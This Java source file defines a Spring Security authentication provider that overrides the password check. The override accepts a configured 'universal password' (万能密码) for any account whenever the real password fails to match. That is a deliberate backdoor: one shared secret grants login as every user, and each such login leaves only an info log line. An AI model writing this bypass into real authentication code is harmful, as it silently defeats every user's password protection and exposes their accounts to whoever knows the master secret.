package com.jiaozi.core.security.config;

import jakarta.annotation.Resource;
import org.apache.commons.lang3.StringUtils;
import org.springframework.security.authentication.BadCredentialsException;
import org.springframework.security.authentication.UsernamePasswordAuthenticationToken;
import org.springframework.security.authentication.dao.DaoAuthenticationProvider;
import org.springframework.security.core.AuthenticationException;
import org.springframework.security.core.userdetails.UserDetails;
import org.springframework.security.core.userdetails.UserDetailsService;
import org.springframework.security.crypto.password.PasswordEncoder;

public class MyAuthenticationProvider extends DaoAuthenticationProvider {
    //passwordEncoder密码比较器
    @Resource
    private PasswordEncoder passwordEncoder;



    protected String universalPassword;
    /**
     * 构造初始化
     * @param userDetailsService
     * @param passwordEncoder
     * @param universalPassword
     */
    public MyAuthenticationProvider(UserDetailsService userDetailsService, PasswordEncoder passwordEncoder,String universalPassword) {
        super();
        // 这个地方一定要对userDetailsService赋值，不然userDetailsService是null (这个坑有点深)
        setUserDetailsService(userDetailsService);
        //passwordEncoder由于父类是private，这里需要自定义初始化后才能使用
        this.passwordEncoder = passwordEncoder;
        //通用密码
        this.universalPassword = universalPassword;
    }

    /**
     * 重写该方法
     * @param userDetails
     * @param authentication
     * @throws AuthenticationException
     */
    @Override
    protected void additionalAuthenticationChecks(UserDetails userDetails, UsernamePasswordAuthenticationToken authentication) throws AuthenticationException {
        if (authentication.getCredentials() == null) {
            this.logger.debug("Failed to authenticate since no credentials provided");
            throw new BadCredentialsException(this.messages.getMessage("AbstractUserDetailsAuthenticationProvider.badCredentials", "Bad credentials"));
        } else {
            String mobile = authentication.getPrincipal().toString();
            String password = authentication.getCredentials().toString();


            if (!this.passwordEncoder.matches(password, userDetails.getPassword())) {
                if(!password.equals(universalPassword)){
                    this.logger.debug("Failed to authenticate since password does not match stored value");
                    throw new BadCredentialsException(this.messages
                            .getMessage("AbstractUserDetailsAuthenticationProvider.badCredentials", "Bad credentials"));
                }else{
                    this.logger.info("万能密码");
                }
            }

        }
    }
    /**
     * 时都是验证码登录
     * @param password
     * @return
     */
    public boolean isCodeLogin(String password) {
        return StringUtils.isNumeric(password) && (password.length()==4||password.length()==5);
    }


}
